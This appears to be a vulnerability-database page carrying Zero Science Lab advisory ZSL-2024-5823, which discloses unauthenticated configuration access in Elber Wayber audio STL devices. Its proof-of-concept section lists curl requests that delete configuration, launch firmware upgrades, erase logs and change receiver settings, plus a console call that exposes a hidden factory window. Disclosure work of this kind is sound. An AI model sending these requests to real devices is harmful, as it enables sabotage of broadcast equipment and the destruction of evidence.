Gjoko KrsticZSL-2024-5823Elber Wayber Analog/Digital Audio STL 4.00 Device Config
7.3 High
AI Score
Confidence
Low
Title: Elber Wayber Analog/Digital Audio STL 4.00 Device Config
Advisory ID: ZSL-2024-5823
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024
Summary
Wayber II is the name of an analogue/digital microwave link able to transport a Mono or a MPX stereo signal from studio to audio transmitter. Compact and reliable, it features very high quality and modern technology both in signal processing and microwave section leading to outstanding performances.
Description
The device suffers from an unauthenticated device configuration and client-side hidden functionality disclosure.
Vendor
Elber S.r.l. - <https://www.elber.it>
Affected Version
Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
Tested On
NBFM Controller
embOS/IP
Vendor Status
[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/178143/Elber-Wayber-Analog-Digital-Audio-STL-4.00-Insecure-Direct-Object-Reference.html>
[2] <https://cxsecurity.com/issue/WLB-2024040053>
Changelog
[17.04.2024] - Initial release
[22.05.2024] - Added reference [1] and [2]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Elber Wayber Analog/Digital Audio STL 4.00 Device Config
Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
Summary: Wayber II is the name of an analogue/digital microwave link
able to transport a Mono or a MPX stereo signal from studio to audio
transmitter. Compact and reliable, it features very high quality and
modern technology both in signal processing and microwave section leading
to outstanding performances.
Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.
Tested on: NBFM Controller
embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5823
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5823.php
18.08.2023
--
# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=''
Configuration applied
# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully
# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully
# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased
# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month
# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully
# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()
# Etc.
</p></body></html>7.3 High
AI Score
Confidence
Low